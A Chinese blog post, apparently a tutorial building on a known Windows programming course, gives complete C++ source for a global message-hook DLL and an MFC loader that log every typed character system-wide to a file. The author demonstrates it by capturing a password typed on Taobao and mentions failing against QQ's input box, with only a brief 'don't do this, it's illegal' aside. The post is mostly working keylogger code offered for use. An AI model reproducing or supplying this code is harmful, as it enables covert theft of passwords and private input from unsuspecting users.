按照孙鑫老师的讲解,我们可以额外的在此基础上添加获得键盘输入字符,并且写入文件,以此来“偷窥用户的输入-千万不要这么做,会犯法的“....多的不说了,只需要在孙老师的代码上加上
SetWindowsHookEx(WH_GETMESSAGE,GetMsgProc,GetModuleHandle("Hook"),0);
Hook动态库的详细代码:hook.cpp
-
#include <windows.h>
-
#include <stdio.h>
-
-
HHOOK g_hMouse=NULL;
-
HHOOK g_hKeyboard=NULL;
-
HHOOK g_hMessage=NULL;
-
-
#pragma data_seg("MySec")
-
HWND g_hWnd=NULL;
-
#pragma data_seg()
-
-
//#pragma comment(linker,"/section:MySec,RWS")
-
/*HINSTANCE g_hInst;
-
-
BOOL WINAPI DllMain(
-
HINSTANCE hinstDLL, // handle to the DLL module
-
DWORD fdwReason, // reason for calling function
-
LPVOID lpvReserved // reserved
-
)
-
{
-
g_hInst=hinstDLL;
-
}*/
-
-
LRESULT CALLBACK MouseProc(
-
int nCode, // hook code
-
WPARAM wParam, // message identifier
-
LPARAM lParam // mouse coordinates
-
)
-
{
-
UnhookWindowsHookEx(g_hMouse); ///< 这样“钩子”就失效了
-
return 1;
-
}
-
-
LRESULT CALLBACK KeyboardProc(
-
int nCode, // hook code
-
WPARAM wParam, // virtual-key code
-
LPARAM lParam // keystroke-message information
-
)
-
{
-
//UnhookWindowsHookEx(g_hKeyboard); ///< 这样“钩子”就失效了
-
if(VK_F2==wParam)
-
{
-
SendMessage(g_hWnd,WM_CLOSE,0,0);
-
UnhookWindowsHookEx(g_hMouse);
-
UnhookWindowsHookEx(g_hKeyboard);
-
}
-
return 0;
-
}
-
-
LRESULT CALLBACK GetMsgProc(
-
int nCode, // hook code
-
WPARAM wParam, // virtual-key code
-
LPARAM lParam // keystroke-message information
-
)
-
{
-
if(nCode == HC_ACTION)
-
{
-
MSG * pMsg = (MSG *) lParam;
-
if (pMsg->message == WM_CHAR)
-
{
-
//MessageBox(NULL,"ok","HOOKDLL",MB_OK);
-
char ch = (char)pMsg->wParam;
-
char pCh[2] = {0};
-
pCh[0] = ch;
-
pCh[1] = '\0';
-
-
FILE * pFile = fopen("c:\\log.dat", "a+");
-
fwrite(pCh, 1, strlen(pCh), pFile);
-
fclose(pFile);
-
}
-
}
-
return CallNextHookEx(g_hMessage, nCode, wParam, lParam);
-
}
-
-
void SetHook(HWND hwnd)
-
{
-
g_hWnd=hwnd;
-
g_hMouse=SetWindowsHookEx(WH_MOUSE,MouseProc,GetModuleHandle("Hook"),0);
-
g_hKeyboard=SetWindowsHookEx(WH_KEYBOARD,KeyboardProc,GetModuleHandle("Hook"),0);
-
g_hMessage=SetWindowsHookEx(WH_GETMESSAGE,GetMsgProc,GetModuleHandle("Hook"),0);
-
}
Hook动态库的详细代码:hook.def
-
LIBRARY Hook
-
EXPORTS
-
SetHook @2
-
SEGMENTS
-
MySec READ WRITE SHARED
编译一下,生成.dll和.lib,至于区别,资料看起!
新建一个对话框工程,设置链接路径,.lib的,然后拷贝上面生成的hook.dll到当前工程目录,(OnInitDialog中)引用方式:
/////////////////////////////////////////////////////////////////////////////
// CHookTestDlg message handlers
_declspec(dllimport) void SetHook(HWND hwnd);
然后一调:
-
BOOL CHookTestDlg::OnInitDialog()
-
{
-
CDialog::OnInitDialog();
-
-
// Add "About..." menu item to system menu.
-
-
// IDM_ABOUTBOX must be in the system command range.
-
ASSERT((IDM_ABOUTBOX & 0xFFF0) == IDM_ABOUTBOX);
-
ASSERT(IDM_ABOUTBOX < 0xF000);
-
-
CMenu* pSysMenu = GetSystemMenu(FALSE);
-
if (pSysMenu != NULL)
-
{
-
CString strAboutMenu;
-
strAboutMenu.LoadString(IDS_ABOUTBOX);
-
if (!strAboutMenu.IsEmpty())
-
{
-
pSysMenu->AppendMenu(MF_SEPARATOR);
-
pSysMenu->AppendMenu(MF_STRING, IDM_ABOUTBOX, strAboutMenu);
-
}
-
}
-
-
// Set the icon for this dialog. The framework does this automatically
-
// when the application's main window is not a dialog
-
SetIcon(m_hIcon, TRUE); // Set big icon
-
SetIcon(m_hIcon, FALSE); // Set small icon
-
-
// TODO: Add extra initialization here
-
int cxScreen,cyScreen;
-
cxScreen=GetSystemMetrics(SM_CXSCREEN);
-
cyScreen=GetSystemMetrics(SM_CYSCREEN);
-
SetWindowPos(&wndTopMost,0,0,cxScreen/2,cyScreen/2,SWP_SHOWWINDOW);
-
SetHook(m_hWnd);
-
return TRUE; // return TRUE unless you set the focus to a control
-
}
允许,然后去淘宝网站输入你的密码,你的键盘字符就被存了起来了!有证据(xxxx我自己改的,不想泄漏真实的)
但是对于qq输入框,无法获得其键盘消息!应该是qq自身截获了WM_CHAR消息或者啥的!所以本来想测试下qq,但是不行!
或许有其他办法???不知道了.......【估计还有高深的背后...】
阅读(1115) | 评论(0) | 转发(0) |